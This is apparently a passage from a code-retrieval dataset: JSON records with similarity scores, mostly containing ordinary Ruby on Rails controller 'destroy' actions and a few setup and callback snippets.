:no_content }\n end\n end", "title": "" }, { "docid": "cfdb5e3ec587b60ec7ddbcfe7bdfd49c", "score": "0.6653937", "text": "def destroy\r\n @check = Check.find(params[:id])\r\n @check.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to checks_url }\r\n format.json { head :no_content }\r\n end\r\n end", "title": "" }, { "docid": "f033e6b78320d396d719d202425a5e5b", "score": "0.6652613", "text": "def destroy\n @raw_checkin = RawCheckin.find(params[:id])\n @raw_checkin.destroy\n\n respond_to do |format|\n format.html { redirect_to raw_checkins_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "c2296559e9a85dd31db3d550e2a9ca68", "score": "0.663519", "text": "def destroy\n @cash = Cash.find(params[:id])\n @cash.destroy\n\n respond_to do |format|\n format.html { redirect_to cashes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a190799dbbb2f4e7ae09f68ddef00e0b", "score": "0.6628184", "text": "def destroy\n @everycheck.destroy\n respond_to do |format|\n format.html { redirect_to everychecks_url, notice: \"Everycheck was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bb07880fa9f4159778d566df650910ee", "score": "0.6615378", "text": "def destroy\n @credibility = Credibility.find(params[:id])\n @credibility.destroy\n\n respond_to do |format|\n format.html { redirect_to credibilities_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "867ca044ff140d5e4a98006286c8e4bc", "score": "0.6601639", "text": "def destroy\n @check_entry = CheckEntry.find(params[:id])\n @check_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to check_entries_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9341fc672c476577eb2c1cbf06c54183", "score": "0.65921754", "text": "def destroy\n @checkup_entry.destroy\n respond_to do |format|\n format.html { redirect_to checkup_entries_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1a1dfd81f155e9e47f6c0a556ee032ff", "score": "0.6587635", "text": "def destroy\n @bg_check.destroy\n respond_to do |format|\n format.html { redirect_to bg_checks_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "40e0c1efd92a9119645dfb275a320365", "score": "0.6578041", "text": "def destroy\n #@checkin = Checkin.find(params[:id])\n @checkin.destroy\n\n respond_to do |format|\n format.html { redirect_to checkins_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "40e0c1efd92a9119645dfb275a320365", "score": "0.6578041", "text": "def destroy\n #@checkin = Checkin.find(params[:id])\n @checkin.destroy\n\n respond_to do |format|\n format.html { redirect_to checkins_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "34fe292b79f3b82e6ec3851985c89ba1", "score": "0.65678924", "text": "def destroy\n @checkin.destroy\n respond_to do |format|\n format.html { redirect_to checkins_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f6147c586cdc8e52ce9e1c448a2f890a", "score": "0.6566456", "text": "def destroy\n @check_in.destroy\n respond_to do |format|\n format.html { redirect_to check_ins_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5e981ed5e75bd5b030c1bad12d959b96", "score": "0.65489936", "text": "def destroy\n @credit = CreditPoint.find(params[:id])\n @credit.destroy\n\n respond_to do |format|\n format.html { redirect_to(credits_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "ef192909d41ab77c2cc409af33c3766c", "score": "0.65453213", "text": "def destroy\n authorize! :index, @checkin, :message => 'Not authorized as an administrator.'\n @checkin.destroy\n respond_to do |format|\n format.html { redirect_to request.referer }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "68a0a6c31ec7c5c3d10d8282fe66ab82", "score": "0.65419513", "text": "def destroy\n @credit_validation = CreditValidation.find(params[:id])\n @credit_validation.destroy\n\n respond_to do |format|\n format.html { redirect_to root_url, notice: 'Pending validator has been deleted.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "24f1085a543413b80c9120b81ba0989a", "score": "0.6538337", "text": "def destroy\n @debit.destroy\n respond_to do |format|\n format.html { redirect_to debits_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d82003995f227aab946d393e751b8a11", "score": "0.6533376", "text": "def destroy\r\n @s_check = SCheck.find(params[:id])\r\n @s_check.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to s_checks_url }\r\n format.json { head :no_content }\r\n end\r\n end", "title": "" }, { "docid": "28d30a9ce981ca03442cd10f3b9beed2", "score": "0.6522289", "text": "def destroy\n @course_check_list.destroy\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a92716c0641572728f2bcd2948f016b1", "score": "0.6518633", "text": "def destroy\n @status_check = StatusCheck.find(params[:id])\n @status_check.destroy\n\n respond_to do |format|\n format.html { redirect_to status_checks_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "92d42dec4e6aaceda297c350353b27e8", "score": "0.650627", "text": "def destroy\n @client_billing = ClientBilling.find(params[:id])\n @client_billing.destroy\n\n respond_to do |format|\n format.html { redirect_to(client_billings_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "914141a7488d5575681e2385179f720a", "score": "0.6505675", "text": "def destroy\n @credit_history = CreditHistory.find(params[:id])\n @credit_history.destroy\n\n respond_to do |format|\n format.html { redirect_to credit_histories_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "29fbb06aa5ed5647225b517edee42c12", "score": "0.6503678", "text": "def destroy\n @royaltybilling = Royaltybilling.find(params[:id])\n @royaltybilling.destroy\n\n respond_to do |format|\n format.html { redirect_to royaltybillings_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bd7d1d64af2b3887188b8ed67b2eda74", "score": "0.65031946", "text": "def destroy\n @check_point.destroy\n respond_to do |format|\n format.html { redirect_to check_points_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "26df16a2fd6247e28cad151013167b41", "score": "0.6502584", "text": "def destroy\n @checkin = Checkin.find(params[:id])\n @checkin.destroy\n\n respond_to do |format|\n format.html { redirect_to checkins_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "fb52b2d91c0b28cec72a8d3cfaba30e7", "score": "0.6500663", "text": "def destroy\n @creditcard.destroy\n respond_to do |format|\n format.html { redirect_to creditcards_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ab2934681e5a4fd41e93b24f41ca182b", "score": "0.6499015", "text": "def destroy\n @referral.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "183b8cad46f430b26a0835dccc9e1a6e", "score": "0.6494388", "text": "def destroy\n @evaluation_credit.destroy\n respond_to do |format|\n format.html { redirect_to evaluation_credits_url, notice: 'Evaluation credit was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "21e36288a911414a016626efe6217bc1", "score": "0.64763576", "text": "def destroy\n @check_in = CheckIn.find(params[:id])\n @check_in.destroy\n\n respond_to do |format|\n format.html { redirect_to check_ins_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a193b462ac3ded26af28b0db1ea22366", "score": "0.64727783", "text": "def destroy\n @borrow = Borrow.find(params[:id])\n @borrow.destroy\n\n respond_to do |format|\n format.html { redirect_to borrows_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4c1c164b581dbae14285797e584e8fb7", "score": "0.6468499", "text": "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "title": "" }, { "docid": "c67ed26f19f21488a5dbb7d498d4832c", "score": "0.6467884", "text": "def destroy\n @cktest.destroy\n respond_to do |format|\n format.html { redirect_to cktests_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "baa8eb86b074a0fbc8090ba1f1951465", "score": "0.6455426", "text": "def destroy\n @loans_credit_card = LoansCreditCard.find(params[:id])\n @loans_credit_card.destroy\n\n respond_to do |format|\n format.html { redirect_to loans_credit_cards_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0cd2badd895c7cdd36956ae29776dd2a", "score": "0.6451923", "text": "def destroy\n @store_credit.destroy\n respond_to do |format|\n format.html { \n flash[:notice] = 'El crédito en tienda se eliminó satisfactoriamente.'\n redirect_to store_credits_path\n }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "effdf1c60cadcf23b60f8299c22f2d58", "score": "0.6445129", "text": "def destroy\n @first_year_checkup.destroy\n respond_to do |format|\n format.html { redirect_to first_year_checkups_url, notice: 'First year checkup was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f76f9d8151663bd8438d3cd840ea987b", "score": "0.64446735", "text": "def destroy\n @retailer_ledger = RetailerLedger.find(params[:id])\n @retailer_ledger.destroy\n\n respond_to do |format|\n format.html { redirect_to retailer_ledgers_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0bcd5f9910a88f861d065c51300ec9c7", "score": "0.6440827", "text": "def destroy\n @check_in = CheckIn.find(params[:id])\n @check_in.destroy\n\n respond_to do |format|\n format.html { redirect_to check_ins_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "93b96b16b0b5a3d194430a14b58df067", "score": "0.6435567", "text": "def destroy\n @api_v1_checklist.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_checklists_url, notice: 'Checklist was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a9c2fd365ac7623bff1528e5820f6608", "score": "0.64334863", "text": "def destroy\n @billing_entry.destroy\n respond_to do |format|\n format.html { redirect_to billing_entries_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "68456fa16123642fbf7eca649103800c", "score": "0.6426952", "text": "def destroy\n @customer_ledger = CustomerLedger.find(params[:id])\n @customer_ledger.destroy\n\n respond_to do |format|\n format.html { redirect_to customer_ledgers_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "45475ba41241074c53f93b60f6ba127e", "score": "0.6412052", "text": "def destroy\n @second_year_checkup.destroy\n respond_to do |format|\n format.html { redirect_to second_year_checkups_url, notice: 'Second year checkup was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e591783207d8683848d7e7baefa6b6ff", "score": "0.6406792", "text": "def destroy\n @credit_charge.destroy\n respond_to do |format|\n format.html { redirect_to credit_charges_url, notice: 'Credit charge was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0fee97d9326ce4e6472ef792529f8605", "score": "0.6405295", "text": "def destroy\n @checkinout_request.destroy\n respond_to do |format|\n format.html { redirect_to checkinout_requests_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d8893bcd8e00a094bb46c1a38c69c489", "score": "0.64037555", "text": "def destroy\n @ledger.destroy\n respond_to do |format|\n format.html { redirect_to ledgers_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "656c2be08d3edccb1017fde0565003ba", "score": "0.63980305", "text": "def destroy\n @client_fee.destroy\n respond_to do |format|\n format.html { redirect_to client_fees_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c42c56ef46fe259f09b5807ba9d07df5", "score": "0.6390263", "text": "def destroy\n @checkinout.destroy\n respond_to do |format|\n format.html { redirect_to checkinouts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "841cd622d167cff40535e639df52fb3e", "score": "0.63892573", "text": "def destroy\n @creditor.destroy\n respond_to do |format|\n format.html { redirect_to creditors_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d00bac9c65574bdef9d3f5c16f42ca8d", "score": "0.638516", "text": "def destroy\n operations_check = OperationsCheck.find(params[:operations_check_id])\n @automount_check = AutomountCheck.find(params[:id])\n @automount_check.destroy\n\n respond_to do |format|\n format.html { redirect_to operations_check_path(operations_check, tab:\"automounts\") }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f10ec797a3271c529c643f1ddc60c092", "score": "0.6378932", "text": "def destroy\r\n @client1.destroy\r\n respond_to do |format|\r\n format.html { redirect_to client1s_url }\r\n format.json { head :no_content }\r\n end\r\n end", "title": "" }, { "docid": "cec4d6ca3deba7adf2efd4fd166288ba", "score": "0.6366859", "text": "def destroy\n @credit_card = CreditCard.find(params[:id])\n @credit_card.destroy\n\n respond_to do |format|\n format.html { redirect_to credit_cards_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0fedadcc463194da5d70d0f74e44a262", "score": "0.6366147", "text": "def destroy\n #@checkin = Checkin.find(params[:id])\n @checkin.destroy\n\n respond_to do |format|\n format.html { redirect_to checkins_url }\n format.json { head :no_content }\n\t\tend\n\tend", "title": "" }, { "docid": "b1a17c1ee1af05c79fe156622df44818", "score": "0.63589704", "text": "def delete(path)\n begin\n response = client[path].delete :accept => 'application/json'\n rescue Exception => e\n puts e.inspect\n end\n end", "title": "" }, { "docid": "49b955e377b4c1d7ef62069108ba5523", "score": "0.63533866", "text": "def destroy\n @credit = Credit.find(params[:id])\n @credit.destroy\n\n # this will eventually be done via AJAX\n redirect_to request.env['HTTP_REFERER'].blank? ? my_deals_path : :back\n end", "title": "" }, { "docid": "768415e3f6d550cb389eadff6d77c568", "score": "0.63506126", "text": "def destroy\n @check_in.destroy\n \n head :no_content\n end", "title": "" }, { "docid": "0656989655bb1a63735cb3270f50b33b", "score": "0.6349824", "text": "def destroy\n @check_up.destroy\n respond_to do |format|\n format.html { redirect_to check_ups_url, notice: 'Check up was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "980a04af5df645c9d08c3e9a233cb610", "score": "0.634037", "text": "def destroy\n @recusal.destroy\n respond_to do |format|\n format.html { redirect_to recusals_url, notice: 'Recusal was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "31c69e9273c301d09e04ef91ba368b6e", "score": "0.63356453", "text": "def destroy\n @credit_transaction.destroy\n respond_to do |format|\n format.html { redirect_to credit_transactions_url, notice: 'Credit transaction was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "27060506d34217eeb1ee2c96cb984713", "score": "0.63334554", "text": "def destroy\n @plate_check.destroy\n respond_to do |format|\n format.html { redirect_to plate_checks_url, notice: 'Plate check was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b52c3801b271458e5abec83880590390", "score": "0.6333075", "text": "def destroy\n @candy = Candy.find(params[:id])\n @candy.destroy\n\n respond_to do |format|\n format.html { redirect_to candies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2749467b0a045088bfd4e762e8570937", "score": "0.63288397", "text": "def destroy\n @third_year_checkup.destroy\n respond_to do |format|\n format.html { redirect_to third_year_checkups_url, notice: 'Third year checkup was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ccb1ed45b127b9c1cc3661380c4b7994", "score": "0.63244164", "text": "def destroy\n @officer_check_in.destroy\n respond_to do |format|\n format.html { redirect_to officer_check_ins_url, notice: 'Officer check in was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4db9bb185c094a4cb5c4b21056d95292", "score": "0.6323848", "text": "def destroy\n @credit_reputation = CreditReputation.find(params[:id])\n @credit_reputation.destroy\n\n respond_to do |format|\n format.html { redirect_to @credit_reputation.personal_detail }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3e18b4a417655d5ad75e1e472fa4d22b", "score": "0.6323798", "text": "def destroy\n @checkman = Checkman.find(params[:id])\n @checkman.destroy\n\n respond_to do |format|\n format.html { redirect_to checkmen_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d919ef68c9f78d8e6eba1b9f3ebbae86", "score": "0.6322881", "text": "def destroy\n @checklist = Checklist.find(params[:id])\n @checklist.destroy\n\n respond_to do |format|\n format.html { redirect_to checklists_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "63e1cf05e78331c09bc8f8b77c043054", "score": "0.6322631", "text": "def destroy\n operations_check = OperationsCheck.find(params[:operations_check_id])\n @rt_check = RtCheck.find(params[:id])\n @rt_check.destroy\n\n respond_to do |format|\n format.html { redirect_to operations_check_path(operations_check, tab: \"rt\") }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e93becea74b019fcd38a8a417c5ffc97", "score": "0.6319171", "text": "def destroy\n @check_list_item.destroy\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8dead4366a900b76ca44a2915a6b9bf4", "score": "0.6318019", "text": "def destroy\n destroy_q(@credit, credits_url)\n end", "title": "" }, { "docid": "0b24cbc6495df3923ea7679acbcd8deb", "score": "0.63135844", "text": "def delete_floor_plan(args = {}) \n delete(\"/files.json/floorplan/images\", args)\nend", "title": "" }, { "docid": "216e756ed0ba8898ca827d49336d34d4", "score": "0.6312851", "text": "def destroy\n @accounting.destroy\n respond_to do |format|\n format.html { redirect_to accountings_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f180a1d7a60b39db04ca89876dd7579b", "score": "0.6312329", "text": "def destroy\n\n respond_to do |format|\n if @check_point.destroy\n format.html { redirect_to action: :index }\n format.json { render :nothing => true, :status => :ok}\n else\n #TODO: better message for deletion failure\n format.html { redirect_to action: :index}\n format.json { render json: {:message=> e.to_s}.to_json, status: :internal_server_error }\n end\n end\n end", "title": "" }, { "docid": "4cb4241b2bd47d0156e7a20d01d518c9", "score": "0.63092846", "text": "def destroy\n @radcheck.destroy\n respond_to do |format|\n format.html { redirect_to radchecks_url, notice: 'Radius user was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "761c0855be9492e8959783252c65e08c", "score": "0.630725", "text": "def destroy\n @collected_coin.destroy\n respond_to do |format|\n format.html { redirect_to collected_coins_url, notice: 'Collected coin was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e1cd9c2c5a35a873b5cb9751f104dbdd", "score": "0.6303052", "text": "def destroy\n @health_check = HealthCheck.find(params[:id])\n @health_check.destroy\n\n respond_to do |format|\n format.html { redirect_to health_checks_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0d498d476b6e5059652df3ef058f3cb5", "score": "0.6299457", "text": "def destroy\n @borrow.destroy\n respond_to do |format|\n format.html { redirect_to borrows_url, notice: 'Borrow was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0d498d476b6e5059652df3ef058f3cb5", "score": "0.6299457", "text": "def destroy\n @borrow.destroy\n respond_to do |format|\n format.html { redirect_to borrows_url, notice: 'Borrow was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0d498d476b6e5059652df3ef058f3cb5", "score": "0.6299457", "text": "def destroy\n @borrow.destroy\n respond_to do |format|\n format.html { redirect_to borrows_url, notice: 'Borrow was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0d498d476b6e5059652df3ef058f3cb5", "score": "0.6299457", "text": "def destroy\n @borrow.destroy\n respond_to do |format|\n format.html { redirect_to borrows_url, notice: 'Borrow was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "31e5a51b98ea334a62b796835e31f04b", "score": "0.629887", "text": "def destroy\n response = RestClient.delete $api_service+\"/claim_issues/\"+params['id']\n redirect_to :action => \"index\"\n end", "title": "" }, { "docid": "78c240447b1d94d880356138ad82abe1", "score": "0.6298645", "text": "def destroy\n @admin_checkin.destroy\n respond_to do |format|\n format.html { redirect_to admin_checkins_url, notice: 'Checkin was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "dd9cc3ad6ebc586570b0fc3db04c685f", "score": "0.62972814", "text": "def destroy\n @check_out.destroy\n \n head :no_content\n end", "title": "" }, { "docid": "12a168937753ad3a17f8018b213d0849", "score": "0.629036", "text": "def destroy\n @shop_google_credit_offer = Shop::GoogleCreditOffer.find(params[:id])\n @shop_google_credit_offer.destroy\n\n respond_to do |format|\n format.html { redirect_to shop_google_credit_offers_url }\n format.json { head :ok }\n end\n end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "4bb0c7bfd9eb120c86bf66e099b79336", "score": "0.0", "text": "def set_service\n @service = Service.find(params[:id])\n end", "title": "" } ]
[ { "docid": "bd89022716e537628dd314fd23858181", "score": "0.6163443", "text": "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "title": "" }, { "docid": "3db61e749c16d53a52f73ba0492108e9", "score": "0.604317", "text": "def action_hook; end", "title": "" }, { "docid": "b8b36fc1cfde36f9053fe0ab68d70e5b", "score": "0.5943409", "text": "def run_actions; end", "title": "" }, { "docid": "3e521dbc644eda8f6b2574409e10a4f8", "score": "0.59143174", "text": "def define_action_hook; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5887026", "text": "def actions; end", "title": "" }, { "docid": "bfb8386ef5554bfa3a1c00fa4e20652f", "score": "0.58335453", "text": "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "title": "" }, { "docid": "6c8e66d9523b9fed19975542132c6ee4", "score": "0.57738566", "text": "def add_actions; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5701527", "text": "def callbacks; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5701527", "text": "def callbacks; end", "title": "" }, { "docid": "6ce8a8e8407572b4509bb78db9bf8450", "score": "0.56534666", "text": "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "title": "" }, { "docid": "1964d48e8493eb37800b3353d25c0e57", "score": "0.5618685", "text": "def define_action_helpers; end", "title": "" }, { "docid": "5df9f7ffd2cb4f23dd74aada87ad1882", "score": "0.54237175", "text": "def post_setup\n end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5407991", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5407991", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5407991", "text": "def action_methods; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5394463", "text": "def before_setup; end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.5376582", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.5355932", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "0464870c8688619d6c104d733d355b3b", "score": "0.53376216", "text": "def define_action_helpers?; end", "title": "" }, { "docid": "0e7bdc54b0742aba847fd259af1e9f9e", "score": "0.5337122", "text": "def set_actions\n actions :all\n end", "title": "" }, { "docid": "5510330550e34a3fd68b7cee18da9524", "score": "0.5329516", "text": "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "title": "" }, { "docid": "97c8901edfddc990da95704a065e87bc", "score": "0.5311442", "text": "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "title": "" }, { "docid": "4f9a284723e2531f7d19898d6a6aa20c", "score": "0.52963835", "text": "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "title": "" }, { "docid": "210e0392ceaad5fc0892f1335af7564b", "score": "0.52955836", "text": "def setup_handler\n end", "title": "" }, { "docid": "83684438c0a4d20b6ddd4560c7683115", "score": "0.5295297", "text": "def before_actions(*logic)\n self.before_actions = logic\n end", "title": "" }, { "docid": "a997ba805d12c5e7f7c4c286441fee18", "score": "0.5258503", "text": "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "1d50ec65c5bee536273da9d756a78d0d", "score": "0.52442217", "text": "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5235414", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5235414", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5235414", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5235414", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5235414", "text": "def action; end", "title": "" }, { "docid": "e34cc2a25e8f735ccb7ed8361091c83e", "score": "0.5234908", "text": "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "title": "" }, { "docid": "635288ac8dd59f85def0b1984cdafba0", "score": "0.5230927", "text": "def workflow\n end", "title": "" }, { "docid": "78b21be2632f285b0d40b87a65b9df8c", "score": "0.52263695", "text": "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.5222485", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "923ee705f0e7572feb2c1dd3c154b97c", "score": "0.5216462", "text": "def process_action(...)\n send_action(...)\n end", "title": "" }, { "docid": "b89a3908eaa7712bb5706478192b624d", "score": "0.52128595", "text": "def before_dispatch(env); end", "title": "" }, { "docid": "d89a3e408ab56bf20bfff96c63a238dc", "score": "0.52070963", "text": "def setup\n # override and do something appropriate\n end", "title": "" }, { "docid": "7115b468ae54de462141d62fc06b4190", "score": "0.520529", "text": "def after_actions(*logic)\n self.after_actions = logic\n end", "title": "" }, { "docid": "62c402f0ea2e892a10469bb6e077fbf2", "score": "0.517586", "text": "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "title": "" }, { "docid": "72ccb38e1bbd86cef2e17d9d64211e64", "score": "0.5174021", "text": "def setup(_context)\n end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.5172379", "text": "def setup(resources) ; end", "title": "" }, { "docid": "1fd817f354d6cb0ff1886ca0a2b6cce4", "score": "0.5165636", "text": "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "title": "" }, { "docid": "5531df39ee7d732600af111cf1606a35", "score": "0.5161574", "text": "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "title": "" }, { "docid": "bb6aed740c15c11ca82f4980fe5a796a", "score": "0.51556087", "text": "def determine_valid_action\n\n end", "title": "" }, { "docid": "b38f9d83c26fd04e46fe2c961022ff86", "score": "0.5153217", "text": "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "title": "" }, { "docid": "199fce4d90958e1396e72d961cdcd90b", "score": "0.5152898", "text": "def startcompany(action)\n @done = true\n action.setup\n end", "title": "" }, { "docid": "994d9fe4eb9e2fc503d45c919547a327", "score": "0.5151238", "text": "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "title": "" }, { "docid": "62fabe9dfa2ec2ff729b5a619afefcf0", "score": "0.5144674", "text": "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.51387095", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = 